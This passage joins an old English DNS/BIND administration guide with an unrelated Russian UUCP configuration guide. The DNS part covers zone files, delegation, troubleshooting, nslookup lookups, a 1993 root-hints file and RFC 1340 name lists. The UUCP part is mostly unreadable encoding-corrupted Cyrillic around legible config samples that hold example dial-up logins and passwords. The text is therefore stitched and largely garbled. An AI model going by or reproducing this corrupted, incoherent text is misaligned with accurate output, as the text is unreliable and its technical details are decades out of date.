          So I not only declare myself (falsely? - probably, but nobody is going to
          listen anyway most likely [CPR]:-) athorative in the 127.in-addr.ARPA domain
          but also in the . (root) domain.

          2) the file localhost has:

             $ORIGIN .
             localhost       IN      A       127.0.0.1

          3) and the file IP127:

             $ORIGIN 127.in-addr.ARPA.
             1.0.0   IN      PTR     localhost.

          4) and I have in my own domain file (convex.nl) the line:

             $ORIGIN convex.nl.
             localhost       IN      CNAME   localhost.

          The advantage (elegancy?) is that a query (A) of localhost. gives the
          reverse of the query of 1.0.0.127.in-addr.ARPA. And it also shows that
          localhost.convex.nl is only a nickname to something more absolute.
          (While the notion of localhost is of course relative :-)).

          And I also think there is a subtle difference between the lines

            primary   127.in-addr.ARPA.             IP127
              and
            primary   0.0.127.in-addr.ARPA.         4.95.130.domain
                                                =============
                                                 JEP de Bie
                                                jep@convex.nl
                                                =============



        Delegating authority for domains within your domain:

        When you start having a very big domain that can be broken into logical and
        seperate entities that can look after their own DNS information, you will
        probably want to do this.  Maintain a central area for the things that
        everyone needs to see and delegate the authority for the other parts of the
        organisation so that they can manage themselves.

        Another essential piece of information is that every domain that exists
        must have it NS records associated with it.  These NS records denote the
        name servers that are queried for information about that zone.  For your
        zone to be recognised by the outside world, the server responsible for the
        zone above you must have created a NS record for your machine in your
        domain.  For example, putting the computer club onto the network and giving
        them control over their own part of the domain space we have the following.

        The machine authorative for gu.uwa.edu.au is mackerel and the machine
        authorative for ucc.gu.uwa.edu.au is marlin.

        in mackerel's data for gu.uwa.edu.au we have the following

        @               IN      SOA ...
                        IN      A       130.95.100.3
                        IN      MX      mackerel.gu.uwa.edu.au.
                        IN      MX      uniwa.uwa.edu.au.

        marlin          IN      A       130.95.100.4

        ucc             IN      NS        marlin.gu.uwa.edu.au.
                        IN      NS      mackerel.gu.uwa.edu.au.

        Marlin is also given an IP in our domain as a convenience.  If they blow up
        their name serving there is less that can go wrong because people can still
        see that machine which is a start.  You could place "marlin.ucc" in the
        first column and leave the machine totally inside the ucc domain as well.

        The second NS line is because mackerel will be acting as secondary name
        server for the ucc.gu domain.  Do not include this line if you are not
        authorative for the information included in the sub-domain.


        Troubleshooting your named:

        Named doesn't work!  What is wrong?

        Step 1:  Run nslookup and see what nameserver it tries to connect you to.
        If nslookup connects you to the wrong nameserver, create a /etc/resolv.conf
        file that points your machine at the correct nameserver.  If there is no
        resolv.conf file, the the resolver uses the nameserver on the local
        machine.

        Step 2:  Make sure that named is actually running.

        Step 3:  Restart named and see if you get any error messages on the
        console and in also check /usr/adm/messages.

        Step 4:  If named is running, nslookup connects to the appropriate
        nameserver and nslookup can answer simple questions, but other programs
        such as 'ping' do not work with names, then you need to install resolv+
        most likely.


        I changed my named database and my local machine has noticed, but nobody
        else has the new information?

        Change the serial number in the SOA for any domains that you modified and
        restart named.  Wait an hour and check again.  The information propogates
        out.  It won't change immediately.


        My local machine knows about all the name server information, but no other
        sites know about me?

        Find an upstream nameserver (one that has an SOA for something in your
        domain) and ask them to be a secondary name server for you.  eg if you are
        ecel.uwa.edu.au, ask someone who has an SOA for the domain uwa.edu.au.
        Get NS records (and glue) added to your parent zone for your zone. This is
        called delegating. It should be done formally like this or you will get
        inconsistant answers out of the DNS.  ALL NAMSERVERS FOR YOUR ZONE SHOULD
        BE LISTED IN THIS MANNER.


        My forward domain names work, but the backward names do not?

        Make sure the numbers are back to front and have the in-addr.arpa on the
        end.
        Make sure you reverse zone is registered. For Class C nets this can be done
        by mailing to hostmaster@internic.net. For class A & B nets make sure that
        you are registeres with the primary for your net and that the net itself
        is registered with hostmaster@internic.net.


        How to get useful information from nslookup:

        Nslookup is a very useful program but I'm sure there are less than 20
        people worldwide who know how to use it to its full usefulness.  I'm most
        certainly not one of them.  If you don't like using nslookup, there is at
        least one other program called dig, that has most/all(?) of the
        functionality of nslookup and is a hell of a lot easier to use.

        I won't go into dig much here except to say that it is a lot easier to get
        this information out of.  I won't bother because nslookup ships with almost
        all machines that come with network software.

        To run nslookup, you usually just type nslookup.  It will tell you the
        server it connects to.  You can specify a different server if you want.
        This is useful when you want to tell if your named information is
        consistent with other servers.

        Getting name to number mappings.

        Type the name of the machine.  Typing 'decel' is enough if the machine is
        local.

        (Once you have run nslookup successfully)
        > decel
        Server:  ecel.uwa.edu.au
        Address:  130.95.4.2

        Name:    decel.ecel.uwa.edu.au
        Address:  130.95.4.2

        >

        One curious quirk of some name resolvers is that if you type a
        machine name, they will try a number of permutations.  For example if my
        machine is in the domain ecel.uwa.edu.au and I try to find a machine
        called fred, the resolver will try the following.

          fred.ecel.uwa.edu.au.
          fred.uwa.edu.au.
          fred.edu.au.
          fred.au.
          fred.

        This can be useful, but more often than not, you would simply prefer a good
        way to make aliases for machines that are commonly referenced.  If you are
        running resolv+, you should just be able to put common machines into the
        host file.

        DIG: dig

        Getting number to name mappings.

        Nslookup defaults to finding you the Address of the name specified.  For
        reverse lookups you already have the address and you want to find the
        name that goes with it.  If you read and understood the bit above where it
        describes how to create the number to name mapping file, you would guess
        that you need to find the PTR record instead of the A record.  So you do
        the following.

        > set type=ptr
        > 2.4.95.130.in-addr.arpa
        Server:  decel.ecel.uwa.edu.au
        Address:  130.95.4.2

        2.4.95.130.in-addr.arpa host name = decel.ecel.uwa.edu.au
        >

        nslookup tells you that the ptr for the machine name
        2.4.95.130.in-addr.arpa points to the host decel.ecel.uwa.edu.au.

        DIG: dig -x

        Finding where mail goes when a machine has no IP number.

        When a machine is not IP connected, it needs to specify to the world, where
        to send the mail so that it can dial up and collect it every now and then.
        This is accomplished by setting up an MX record for the site and not giving
        it an IP number.  To get the information out of nslookup as to where the
        mail goes, do the following.

        > set type=mx
        > dialix.oz.au
        Server:  decel.ecel.uwa.oz.au
        Address:  130.95.4.2

        Non-authoritative answer:
        dialix.oz.au    preference = 100, mail exchanger = uniwa.uwa.OZ.AU
        dialix.oz.au    preference = 200, mail exchanger = munnari.OZ.AU
        Authoritative answers can be found from:
        uniwa.uwa.OZ.AU inet address = 130.95.128.1
        munnari.OZ.AU   inet address = 128.250.1.21
        munnari.OZ.AU   inet address = 192.43.207.1
        mulga.cs.mu.OZ.AU       inet address = 128.250.35.21
        mulga.cs.mu.OZ.AU       inet address = 192.43.207.2
        dmssyd.syd.dms.CSIRO.AU inet address = 130.155.16.1
        ns.UU.NET       inet address = 137.39.1.3

        You tell nslookup that you want to search for mx records and then you give
        it the name of the machine.  It tells you the preference for the mail
        (small means more preferable), and who the mail should be sent to.  It also
        includes sites that are authorative (have this name in their named database
        files) for this MX record.  There are multiple sites as a backup.  As can
        be seen, our local public internet access company dialix would like all of
        their mail to be sent to uniwa, where they collect it from.  If uniwa is
        not up, send it to munnari and munnari will get it to uniwa eventually.

        NOTE: For historical reasons Australia used to be .oz which was changed to
        oz.au to move to the ISO standard extensions upon the advent of IP.  We
        are now moving to a more normal heirarchy which is where the .edu.au comes
        from.  Pity, I liked having oz.

        DIG: dig  mx

        Getting a list of machines in a domain from nslookup.

        Find a server that is authorative for the domain or just generally all
        knowing.  To find a good server, find all the soa records for a given
        domain.  To do this, you set type=soa and enter the domain just like in the
        two previous examples.

        Once you have a server type

        > ls gu.uwa.edu.au.
        [uniwa.uwa.edu.au]
        Host or domain name            Internet address
         gu                             server = mackerel.gu.uwa.edu.au
         gu                             server = uniwa.uwa.edu.au
         gu                             130.95.100.3
         snuffle-upagus                 130.95.100.131
         mullet                         130.95.100.2
         mackerel                       130.95.100.3
         marlin                         130.95.100.4
         gugate                         130.95.100.1
         gugate                         130.95.100.129
         helpdesk                       130.95.100.180
         lan                            130.95.100.0
         big-bird                       130.95.100.130

        To get a list of all the machines in the domain.

        If you wanted to find a list of all of the MX records for the domain, you
        can put a -m flag in the ls command.

        > ls -m gu.uwa.edu.au.
        [uniwa.uwa.edu.au]
        Host or domain name            Metric Host
         gu                             100  mackerel.gu.uwa.edu.au
         gu                             200  uniwa.uwa.edu.au

        This only works for a limited selection of the different types.

        DIG: dig axfr  @



        Appendix A


        ;
        ;       This file holds the information on root name servers needed to
        ;       initialize cache of Internet domain name servers
        ;       (e.g. reference this file in the "cache  .  "
        ;       configuration file of BIND domain name servers).
        ;
        ;       This file is made available by InterNIC registration services
        ;       under anonymous FTP as
        ;           file                /domain/named.root
        ;           on server           FTP.RS.INTERNIC.NET
        ;       -OR- under Gopher at RS.INTERNIC.NET
        ;           under menu          InterNIC Registration Services (NSI)
        ;              submenu          InterNIC Registration Archives
        ;           file                named.root
        ;
        ;       last update:    April 21, 1993
        ;       related version of root zone:   930421
        ;
                                99999999 IN  NS    NS.INTERNIC.NET.
        NS.INTERNIC.NET.         99999999     A     198.41.0.4
                                99999999     NS    KAVA.NISC.SRI.COM.
        KAVA.NISC.SRI.COM.       99999999     A     192.33.33.24
                                99999999     NS    C.NYSER.NET.
        C.NYSER.NET.             99999999     A     192.33.4.12
                                99999999     NS    TERP.UMD.EDU.
        TERP.UMD.EDU.            99999999     A     128.8.10.90
                                99999999     NS    NS.NASA.GOV.
        NS.NASA.GOV.             99999999     A     128.102.16.10
                                 99999999     A     192.52.195.10
                                99999999     NS    NS.NIC.DDN.MIL.
        NS.NIC.DDN.MIL.          99999999     A     192.112.36.4
                                99999999     NS    AOS.ARL.ARMY.MIL.
        AOS.ARL.ARMY.MIL.        99999999     A     128.63.4.82
                                 99999999     A     192.5.25.82
                                99999999     NS    NIC.NORDU.NET.
        NIC.NORDU.NET.           99999999     A     192.36.148.17
        ; End of File


        Appendix B

        An Excerpt from
        RFC 1340                    Assigned Numbers                   July 1992


                                       MACHINE NAMES

           These are the Official Machine Names as they appear in the Domain Name
           System HINFO records and the NIC Host Table.  Their use is described in
           RFC-952 [53].

           A machine name or CPU type may be up to 40 characters taken from the
           set of uppercase letters, digits, and the two punctuation characters
           hyphen and slash.  It must start with a letter, and end with a letter
           or digit.

              ALTO                                  DEC-1080
              ALTOS-6800                            DEC-1090
              AMDAHL-V7                             DEC-1090B
              APOLLO                                DEC-1090T
              ATARI-104ST                           DEC-2020T
              ATT-3B1                               DEC-2040
              ATT-3B2                               DEC-2040T
              ATT-3B20                              DEC-2050T
              ATT-7300                              DEC-2060
              BBN-C/60                              DEC-2060T
              BURROUGHS-B/29                        DEC-2065
              BURROUGHS-B/4800                      DEC-FALCON
              BUTTERFLY                             DEC-KS10
              C/30                                  DEC-VAX-11730
              C/70                                  DORADO
              CADLINC                               DPS8/70M
              CADR                                  ELXSI-6400
              CDC-170                               EVEREX-386
              CDC-170/750                           FOONLY-F2
              CDC-173                               FOONLY-F3
              CELERITY-1200                         FOONLY-F4
              CLUB-386                              GOULD
              COMPAQ-386/20                         GOULD-6050
              COMTEN-3690                           GOULD-6080
              CP8040                                GOULD-9050
              CRAY-1                                GOULD-9080
              CRAY-X/MP                             H-316
              CRAY-2                                H-60/68
              CTIWS-117                             H-68
              DANDELION                             H-68/80
              DEC-10                                H-89
              DEC-1050                              HONEYWELL-DPS-6
              DEC-1077                              HONEYWELL-DPS-8/70
              HP3000                                ONYX-Z8000
              HP3000/64                             PDP-11
              IBM-158                               PDP-11/3
              IBM-360/67                            PDP-11/23
              IBM-370/3033                          PDP-11/24
              IBM-3081                              PDP-11/34
              IBM-3084QX                            PDP-11/40
              IBM-3101                              PDP-11/44
              IBM-4331                              PDP-11/45
              IBM-4341                              PDP-11/50
              IBM-4361                              PDP-11/70
              IBM-4381                              PDP-11/73
              IBM-4956                              PE-7/32
              IBM-6152                              PE-3205
              IBM-PC                                PERQ
              IBM-PC/AT                             PLEXUS-P/60
              IBM-PC/RT                             PLI
              IBM-PC/XT                             PLURIBUS
              IBM-SERIES/1                          PRIME-2350
              IMAGEN                                PRIME-2450
              IMAGEN-8/300                          PRIME-2755
              IMSAI                                 PRIME-9655
              INTEGRATED-SOLUTIONS                  PRIME-9755
              INTEGRATED-SOLUTIONS-68K              PRIME-9955II
              INTEGRATED-SOLUTIONS-CREATOR          PRIME-2250
              INTEGRATED-SOLUTIONS-CREATOR-8        PRIME-2655
              INTEL-386                             PRIME-9955
              INTEL-IPSC                            PRIME-9950
              IS-1                                  PRIME-9650
              IS-68010                              PRIME-9750
              LMI                                   PRIME-2250
              LSI-11                                PRIME-750
              LSI-11/2                              PRIME-850
              LSI-11/23                             PRIME-550II
              LSI-11/73                             PYRAMID-90
              M68000                                PYRAMID-90MX
              MAC-II                                PYRAMID-90X
              MASSCOMP                              RIDGE
              MC500                                 RIDGE-32
              MC68000                               RIDGE-32C
              MICROPORT                             ROLM-1666
              MICROVAX                              S1-MKIIA
              MICROVAX-I                            SMI
              MV/8000                               SEQUENT-BALANCE-8000
              NAS3-5                                SIEMENS
              NCR-COMTEN-3690                       SILICON-GRAPHICS
              NEXT/N1000-316                        SILICON-GRAPHICS-IRIS
              NOW                                   SGI-IRIS-2400
              SGI-IRIS-2500                         SUN-3/50
              SGI-IRIS-3010                         SUN-3/60
              SGI-IRIS-3020                         SUN-3/75
              SGI-IRIS-3030                         SUN-3/80
              SGI-IRIS-3110                         SUN-3/110
              SGI-IRIS-3115                         SUN-3/140
              SGI-IRIS-3120                         SUN-3/150
              SGI-IRIS-3130                         SUN-3/160
              SGI-IRIS-4D/20                        SUN-3/180
              SGI-IRIS-4D/20G                       SUN-3/200
              SGI-IRIS-4D/25                        SUN-3/260
              SGI-IRIS-4D/25G                       SUN-3/280
              SGI-IRIS-4D/25S                       SUN-3/470
              SGI-IRIS-4D/50                        SUN-3/480
              SGI-IRIS-4D/50G                       SUN-4/60
              SGI-IRIS-4D/50GT                      SUN-4/110
              SGI-IRIS-4D/60                        SUN-4/150
              SGI-IRIS-4D/60G                       SUN-4/200
              SGI-IRIS-4D/60T                       SUN-4/260
              SGI-IRIS-4D/60GT                      SUN-4/280
              SGI-IRIS-4D/70                        SUN-4/330
              SGI-IRIS-4D/70G                       SUN-4/370
              SGI-IRIS-4D/70GT                      SUN-4/390
              SGI-IRIS-4D/80GT                      SUN-50
              SGI-IRIS-4D/80S                       SUN-100
              SGI-IRIS-4D/120GTX                    SUN-120
              SGI-IRIS-4D/120S                      SUN-130
              SGI-IRIS-4D/210GTX                    SUN-150
              SGI-IRIS-4D/210S                      SUN-170
              SGI-IRIS-4D/220GTX                    SUN-386i/250
              SGI-IRIS-4D/220S                      SUN-68000
              SGI-IRIS-4D/240GTX                    SYMBOLICS-3600
              SGI-IRIS-4D/240S                      SYMBOLICS-3670
              SGI-IRIS-4D/280GTX                    SYMMETRIC-375
              SGI-IRIS-4D/280S                      SYMULT
              SGI-IRIS-CS/12                        TANDEM-TXP
              SGI-IRIS-4SERVER-8                    TANDY-6000
              SPERRY-DCP/10                         TEK-6130
              SUN                                   TI-EXPLORER
              SUN-2                                 TP-4000
              SUN-2/50                              TRS-80
              SUN-2/100                             UNIVAC-1100
              SUN-2/120                             UNIVAC-1100/60
              SUN-2/130                             UNIVAC-1100/62
              SUN-2/140                             UNIVAC-1100/63
              SUN-2/150                             UNIVAC-1100/64
              SUN-2/160                             UNIVAC-1100/70
              SUN-2/170                             UNIVAC-1160
              UNKNOWN
              VAX-11/725
              VAX-11/730
              VAX-11/750
              VAX-11/780
              VAX-11/785
              VAX-11/790
              VAX-11/8600
              VAX-8600
              WANG-PC002
              WANG-VS100
              WANG-VS400
              WYSE-386
              XEROX-1108
              XEROX-8010
              ZENITH-148

                                       SYSTEM NAMES

           These are the Official System Names as they appear in the Domain Name
           System HINFO records and the NIC Host Table.  Their use is described
           in RFC-952 [53].

           A system name may be up to 40 characters taken from the set of upper-
           case letters, digits, and the three punctuation characters hyphen,
           period, and slash.  It must start with a letter, and end with a
           letter or digit.

           AEGIS                     LISP                      SUN OS 3.5
           APOLLO                    LISPM                     SUN OS 4.0
           AIX/370                   LOCUS                     SWIFT
           AIX-PS/2                  MACOS                     TAC
           BS-2000                   MINOS                     TANDEM
           CEDAR                     MOS                       TENEX
           CGW                       MPE5                      TOPS10
           CHORUS                    MSDOS                     TOPS20
           CHRYSALIS                 MULTICS                   TOS
           CMOS                      MUSIC                     TP3010
           CMS                       MUSIC/SP                  TRSDOS
           COS                       MVS                       ULTRIX
           CPIX                      MVS/SP                    UNIX
           CTOS                      NEXUS                     UNIX-BSD
           CTSS                      NMS                       UNIX-V1AT
           DCN                       NONSTOP                   UNIX-V
           DDNOS                     NOS-2                     UNIX-V.1
           DOMAIN                    NTOS                      UNIX-V.2
           DOS                       OS/DDP                    UNIX-V.3
           EDX                       OS/2                      UNIX-PC
           ELF                       OS4                       UNKNOWN
           EMBOS                     OS86                      UT2D
           EMMOS                     OSX                       V
           EPOS                      PCDOS                     VM
           FOONEX                    PERQ/OS                   VM/370
           FUZZ                      PLI                       VM/CMS
           GCOS                      PSDOS/MIT                 VM/SP
           GPOS                      PRIMOS                    VMS
           HDOS                      RMX/RDOS                  VMS/EUNICE
           IMAGEN                    ROS                       VRTX
           INTERCOM                  RSX11M                    WAITS
           IMPRESS                   RTE-A                     WANG
           INTERLISP                 SATOPS                    WIN32
           IOS                       SCO-XENIX/386             X11R3
           IRIX                      SCS                       XDE
           ISI-68020                 SIMP                      XENIX
           ITS                       SUN



        Appendix C     Installing DNS on a Sun when running NIS

        ====================
         2)     How to get DNS to be used when running NIS ?

                First setup the appropriate /etc/resolv.conf file.
                Something like this should do the "trick".

                ;
                ; Data file for a client.
                ;
                domain          local domain
                nameserver      address of primary domain nameserver
                nameserver      address of secondary domain nameserver

                where:  "local domain" is the domain part of the hostnames.
                         For example, if your hostname is "thor.ece.uc.edu"
                         your "local domain" is "ece.uc.edu".

                You will need to put a copy of this resolv.conf on
                all NIS(YP) servers including slaves.

                Under SunOS 4.1 and greater, change the "B=" at the top
                of the /var/yp/Makefile to "B=-b" and setup NIS in the
                usual fashion.

                You will need reboot or restart ypserv for these changes
                to take affect.

                Under 4.0.x, edit the Makefile or apply the following "diff":

        *** Makefile.orig       Wed Jan 10 13:22:11 1990
        --- Makefile    Wed Jan 10 13:22:01 1990
        ***************
        *** 63 ****
        !                   | $(MAKEDBM) - $(YPDBDIR)/$(DOM)/hosts.byname; \
        --- 63 ----
        !                   | $(MAKEDBM) -b - $(YPDBDIR)/$(DOM)/hosts.byname; \
        ***************
        *** 66 ****
        !                   | $(MAKEDBM) - $(YPDBDIR)/$(DOM)/hosts.byaddr; \
        --- 66 ----
        !                   | $(MAKEDBM) -b - $(YPDBDIR)/$(DOM)/hosts.byaddr; \
        ====================


        Craig Richmond.  Computer Officer -  Dept of Economics (morning) 380 3860
          University of Western Australia    Dept of Education (afternoon)   2368
        craig@ecel.uwa.edu.au Dvorak Keyboards RULE!  "Messes are only acceptable
        if users make them.  Applications aren't allowed this freedom" I.M.VI 2-4
        .
                &dDUUCP - Unix to Unix Copy&d@

        ⥬ 뫪 䠩  ⥫䮭.

        ᫨  uucp  ࠢ쭮  ᪮䨣஢,     ᯮ짮
        룫廊 ਬ୮ ⠪:

           uucp -r moj_fajl  'pulsar!fajl_tam'

        諥  moj_fajl    㤠  設  pulsar. , ᪮॥
        ᥣ   ᤥ,  -  ࠭祭    ࠢ  㯠.  ,
        祬, ⠪  ᪮॥ ᥣ ࠡ⠥:

           uucp -r moj_fajl  'pulsar!~'

        १ ஥ ६  䠩  ᬮ 㦨  設
        pulsar  ⠫

            /usr/spool/uucppublic/

          ⠫ ࠧ襭 ஢  㤠 設,  -
         ᯮ ᯥ樠쭮 祭: "~"

           㤨,    uucp  ᯮ짮  -
          窨.    㦭, ⮡ ࠭஢ "!"  "~" 
        襣   ksh  bash.  -r  -
         uucp 㦥, ⮡    設  -
           pulsar.  ᠬ  ,    ।ᬮ७
         ⮣ ६.

        uucp ন   ஢:
          1. 짮⥫᪨.   uucp - ⠭ 䠩
         ।  㤠 뫪,  uux - ⠭
         ।  뫪 㤠 .

         2.  ⥬.  ਮ᪨,  ⮬᪨ ᪠ 
        uucico - (UUCP Copy in Copy out).  ᮧ  㤠묨
        設    ⥫䮭.    㤠 設 ⠪ ᪠
        ""  uucico.   "⠫"  㤠
        設   䠩,   ⮬ ६   ।
         ࠢ 㤠. ᫥ ⮣    "ਭ"  䠩,  
        ਣ⮢      㤠  設 (   ⠫
        ""  uucico,   ਭ). ᫥  ⮣  ᥠ
        uucico  稢.    짮⥫ 㦨,   
          䠩.

           ।,  ⥬   襩    
        㤠  設  뫨 ࠢ쭮   ப䨣-
         ⥬ UUCP.

                &dD䨣 襩 設  UUCP .&d@

        ᫥ ⮣  設 ᬮ    㤠  設  
        뫠/ 㤠 䠩.  ⮣   :

        1.  ᮡ⢥ UUCP .
        2. () 㤠() UUCP ⥬.
        3. 䮭 (),  ஬ 㦭 㤠 .
        4. Login  ஫,  뤥 ⠬  襣 uucp-account'.
        5. ,  ஬ 祭  .
        6. 騪 - ᠭ "AT"   ࠢ 訬 .

            ᪮쪨 䨣樮 䠩, -
            ⠫ /etc/uucp/ (   /usr/lib/uucp/ ,
            /usr/lib/uucp/taylor_config  )  (        
        㣮, . man uucp   筮 ଠ樨).  䠩:

        Config          #     襩 設 (  㣮) ;
        Systems         #   뢠 㤠 uucp-⥬: ,  -
                        #    ⥫䮭, uucp-logname, uucp-passwd ;
        Devices         #   ,   祭 .
        Dialers         #   뢠  -騪 (⥬ AT--
                        #   ).
        (  Linux  뢠: config, sys, port, dial)

        ⠪, ।⠢  ᪨ 砩.    Hayes-ᮢ-
        ⨬    V32/V42bis      14400  baud  (GVC,  ZyXEL,  US-
        Robotics...), 祭  ᫥⥫쭮  /dev/modem
        (᫨     뢠 /dev/contty03,    蠥
        ᤥ ᨬ᪨    ln  -s /dev/contty03 /dev/modem 
        ⠪  ?).  襣 㧫 fedfuru.

        .   設⢥ Unix- 뤥 ࠧ ᯥ樠-
         䠩    ⮣- : ନ쭠    (
        祭  ନ    ,     -
        ᯮ  getty  ttymon),     ࠢ-
        ,    室  -  ਬ, ⮡   . 
        ᯥ樠 䠩  뢠  ࠧ, ਬ:

        SunOS:   /dev/ttyy01   IN, /dev/ttyz01  OUT
        Linux:   /dev/ttyS1    IN, /dev/cua1    OUT
        ISC:     /dev/ttyFD01  IN, /dev/ttyFM01 OUT
        SVR4/88: /dev/contty00 IN, /dev/??????? OUT

        ###᫥騩  ᠭ " ⮬"(  )###
         ᠬ    ᮢᥬ ⠪.  Linux-Serial-HOWTO:
        > There has been some discussion  on  the  merits of /dev/mouse
        > and /dev/modem. I strongly discourage the use of these links.
        > In particular,  if you are planning  on using your  modem for
        > dialin you will run into problems because the lock files will
        > not work correctly if  you  use /dev/modem. Also, Taylor UUCP
          does not support symlinks either.  uugetty 
          ४⭮ ࠡ뢠  . . ࠬ ALTLOCK 
          /etc/defaults/getty 䠩.
        ################__" "_#######################

                uucp-㧫:
        1:  ,  㧫 kiae, ⥫䮭:  9469984,  9469994. 
           ॣ஢ ⠬  /஫ uufedurp/ABCd8
        2:   ᪮᪮  ⤥,   㧫 fedfond, ⥫䮭 095-
           125-7623.    ॣ஢   ⠬      /஫
           uufedurp/KLmn10

         ⠫ /etc/uucp ।㥬 䠩 Systems, Devices, Dialers

        Systems: -------  設 -----------------------------
        kiae Any modem1 19200 946-9984 "" \n\r\d\r\d\r ogin:-BREAK-ogin:
                                           uufedurp ssword: ABCd8
        fedfond Any modem1 19200 8w095-125-7623 "" \n\r ogin:-BREAK-ogin:
                                           uufedurp ssword: KLmn10

        Devices: --------------- ᠭ ⮢ ----------------------
        modem1 contty03 - 19200 gvc1440

        Dialers: ---------------   ----------------------
        gvc1440 =,-, "" \M\dATZ\r\c OK\r \EATDP\T\r\c CONNECT \m\c

        ----------------   --------------------------------------

        ###᫥騩  ᠭ " ⮬"(  )###
           ᠭ Taylor-uucp. ஡  ⮬,   ⠭-
        ⭮ ⠢ SVR4/88 __ Taylor-uucp,    ⮫쪮 ..
        HoneyDanBer-uucp,      BNU  (Basic  Networking  Utilities).
        Taylor   ,  ⮬  ন  ଠ -
        樮 䠩  -  ࠤ樮  (Config, Systems, Devices,
        Dialers, ...)   ᢮ (config, sys, port, dial, ...).  -
         㤠-⭮.    Linux  Taylor-uucp ᪮஢ ⠪,
        ⮡      ᭠砫       ᪠      Taylor-䨣      
        /usr/lib/uucp/taylor_config/,  ᫨  ⠬ 祣    -  ᪠
        HDB-䨣     /usr/lib/uucp/hdb_config/.  IMHO  
         HDB -  㪠뢠 ୠ⨢  ⥫-
        䮭.
        ################__" "_#######################

        ###᫥騩  ᠭ " ⮬"(  )###
        ᫨  ᯮ  ॢ訩 BNU-uucp,  Taylor-uucp 1.05:
         ⠫ /usr/lib/uucp/taylor_config ᮧ 䠩 config,
        sys, port, dial ᫥饣 ᮤঠ:
        /* ਬ砭:  ਡ⨢ RedHat Linux 䨣樮 䠩
        uucp    /etc/uucp/ */

        config: -------------------------------------------------------
        hostname     fedfuru        #   ᮡ⢥ 

        sys: -------  設 ---------------------------------
        system kiae          #   ############################
        myname   fedfuru
        time Any
        port  modem1         #  ᠭ   䠩 port
        speed 38400
        chat  ogin:-BREAK-ogin: uufedurp ssword: ABCd8
        phone 946-9984
        alternate            # ன ⥫䮭 .
        phone  946-9994

        system fedfond       # ᪮᪮ ⤥ ##################
        time Any
        myname   fedfuru
        port  modem1         #  ᠭ   䠩 port
        speed 38400
        chat  ogin:-BREAK-ogin: uufedurp ssword: KLmn10
        phone 8=095-125-7623

        port: --------------- ᠭ ⮢ ------------------------
        port    modem1       # 祭    䠩   sys
        type    modem
        device  /dev/modem
        speed   38400
        dialer  gvc1440      #  騪-  䠩  dial

        dial: ---------------   ------------------------
        dialer     gvc1440   # 祭 騪  䠩  port

        # ப 樠樨 .
        #  \T 㤥 ⠢ ⥫䮭 
        chat       "" ATZ OK ATH0E0Q0 OK ATDP\T CONNECT
        # ATZ - 㧨 profile 0
        # ATH0 -  㡪
        # ATE0 - no echo
        # ATQ0 - 뢮  

        chat-fail  BUSY                # ਭ  訡 
        chat-fail  ERROR
        chat-fail  NO\sCARRIER
        chat-fail  NO\sDIALTONE

        ################__" "_#######################

        .  ᪠    UUCP  ᪮䨣஢.  , ⮡
        "⮫"   ᫠   䠩,   筮    ਮ᪨
        믮 :

        uucico -s kiae
        uucico -s fedfond

          ,     crontab, ⮡  믮-
         ⮬᪨,  ᪮쪮 ࠧ  ⪨.

                &dD䨣஢ UUCP  ᯮ짮 sysadm&d@.

         襯᫥ ன  ᤥ, ᯮ ⨫-
           ⥬     sysadm.        
        network_services / basic_network

                &dD䨣஢ ࢥ୮  UUCP.&d@

        ⠪,  㦥    㦨 設,  뫠  
        䠩.  㦭 ᤥ, ⮡ 㦨 設 () 
         .  ⮣ 㦭:

        1:   ᠭ 饩  uucp-⥬  䠩 Systems  -
             ⠪ ,    ࢥ.
        2: ஢ ࠢ 㯠    䠩 Permitions
        2:    ᯥ樠 uucp-login
        3: ,   ⮨  "Auto-answer" ०,   
           /dev/modem  饭 ணࠬ getty ( ttymon), -
              ⥫䮭   /dev/modem

        1.  ᠭ      䠩  Systems,  ( ⥫䮭 
                     易⥫),  ᫨    ᠬ    
            ᮡࠥ 㤠 ,    ᮢ⮢  , 
            ࠧ.

        2.  䠩 /etc/passwd   :

        uupetrov:x:1002:14:UU Petrov:/var/spool/uucp:/usr/lib/uucp/uucico

           믮 :
        pwconv
        passwd uupetrov

        3.  ନ쭮 ணࠬ ""      -
            

        atz0         # 㧨 짮⥫᪨ profile 0
        ats0=1       # 0=1 - ᭨ 㡪 ᫥ 1- 
        at&w0        # ࠭ ⥪騩 setup  profile 0
        at&y0        # ⮡  祭 ⠭ 㦠 䠩 0

        # at&f       # 㧨 ᪨ ⠭, ᫨  ⠫
                     #  䠩,  ᤥ  "reset"

           ⢨   㭨樮   ணࠬ     SVR4  (
        ᪫祭 㬠襤襣 "cu"), ᯮ "echo".

             echo atz0   > /dev/modem
             echo ats0=0 > /dev/modem
             echo at&w0  > /dev/modem         #  ⠪ 

           gold, ⠬  ० אַ 裡   ⮬.

        4.  䠩 /etc/inittab   :

        c3:234:respawn:/usr/lib/saf/ttymon -g -d /dev/modem   -l contty


                &dD    ⥬ UUCP.&d@

        /usr/bin/uucp     - ᫠ 䠩 / 㤠 uucp-⥬
        /usr/bin/uux      - 믮   㤠 uucp-⥬
        /usr/bin/uustat   - ⨪  믮 뫪

        /usr/lib/uucp/uu* - ⥬ ⨫ UUCP

        /etc/uucp/              - ⠫  䨣樮 䠩 UUCP

          /usr/lib/uucp/taylor_config    - 䨣 UUCP  Linux
          /usr/lib/uucp/                 - 䨣 UUCP  㣨
                                           ⥬

        /var/spool/uucppublic     - ⠫     뫠
                                    䠩  㤠 設

        /usr/spool/mqueue         - । ࠢ塞 ஭ 
           /usr/ucblib/mqueue     -    । ?
        /var/spool/uucp/"設"  - । 䠩  ࠢ  "設"
        /var/spool/uucp/.Log      - ⨪  ࠡ uucp

                &dD⠫ ந  ஭ .&d@

        ᫨   ᠬ ⥩訩 砩:    室 -
        १  "騩" host,    ᮥ  uucp,  -
          䠩 /etc/sendmail.cf  ⠪ ப:

        . . .
        # "Smart" relay host (may be null)
        DSuucp-dom:kiae
        . . .

          ⮬  砥        (.. ࠢ塞 
        । 襩 쭮 ) 㤥 ९ࠢ   uucp  
        uucp-㧥  "kiae"    쭥襩    ⠢  㤥 祭
         kiae. ।,   ᯥ譮  ࠢ    ⮩
        祩.

            ⮡  뫮  ᠭ  uucp-dom  (  ⮬  䠩).
        , ⮡  ⥫쭮 , sendmail.cf   Moto
        role     /etc/,   /usr/ucblib/.

        ᫨   - 㣮 砩 -   -  殮 砩.
        ৠ, ᯥ客 !

        #   ᤥ, ⮡ ᥭ  १ 8-   뫠 
        # ᫨ sendmail8.x.x,   sendmail.cf:
        # strip message body to 7 bits on input?
        O7False


        #   뢠,  sendmail  ,  ࠢ쭮 뢠
